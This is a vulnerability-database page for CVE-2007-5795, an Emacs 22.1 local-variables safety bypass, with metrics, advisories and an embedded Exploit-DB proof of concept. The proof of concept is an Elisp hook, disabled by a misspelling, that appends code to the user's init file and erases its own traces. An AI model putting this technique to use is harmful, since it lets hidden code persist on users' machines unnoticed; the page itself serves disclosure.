CVE-2007-5795 : Detail

CVE-2007-5795

0.09%V3
Local
2007-11-02
21h00 +00:00
2017-07-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The hack-local-variables function in Emacs before 22.2, when enable-local-variables is set to :safe, does not properly search lists of unsafe or risky variables, which might allow user-assisted attackers to bypass intended restrictions and modify critical program variables via a file containing a Local variables declaration.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.3 AV:L/AC:M/Au:N/C:N/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 30736

Publication date : 2007-11-01 23h00 +00:00
Author : Drake Wilson
EDB Verified : Yes

source: https://www.securityfocus.com/bid/26327/info Emacs is prone to a vulnerability that lets attackers execute arbitrary code. Due to a design error, the application ignores certain security settings and modifies local variables. By supplying a malicious file, an attacker can exploit this issue to carry out various attacks, including executing arbitrary code in the context of the application. This may facilitate remote unauthorized access. This issue affects Emacs 22.1; other versions may be vulnerable as well. This is a harmless text file. Or at least it looks like one. In fact, it is. But it's almost not. If you were to change the word "variaboles" below to "variables", then load it into a vulnerable Emacs 22 with `enable-local-variables' set to :safe, it would rewrite the local variables list in the buffer itself to _look_ like a harmless text file, while in fact managing to add some evil code to the end of your user-init-file. Woopsy. | Local variaboles: | hack-local-variables-hook: ((lambda () (save-excursion (with-temp-buffer (insert "\n(run-with-timer 1 nil (lambda () (beep) (message \"Your Emacs init file is compromised!\")))") (append-to-file (point-min) (point-max) user-init-file)) (message nil) (with-current-buffer (get-buffer "*Messages*") (when (search-backward (concat "Added to " user-init-file) nil t) (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))))) (goto-char (point-max)) (search-backward "| hack-local-variables-hook") (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))) (insert "| mode: text\n") (set-buffer-modified-p nil) (text-mode)))) | End:

Products Mentioned

Configuraton 0

Debian>>Debian_linux >> Version *

Gnu>>Emacs >> Version To (including) 22.1

Configuraton 0

Gnu>>Emacs >> Version To (including) 22.1

References

http://secunia.com/advisories/27984
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27728
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/3715
Tags : vdb-entry, x_refsource_VUPEN
http://osvdb.org/42060
Tags : vdb-entry, x_refsource_OSVDB
http://www.ubuntu.com/usn/usn-541-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/29420
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDVSA-2008:034
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.securityfocus.com/bid/26327
Tags : vdb-entry, x_refsource_BID
http://security.gentoo.org/glsa/glsa-200712-03.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://secunia.com/advisories/27508
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/27627
Tags : third-party-advisory, x_refsource_SECUNIA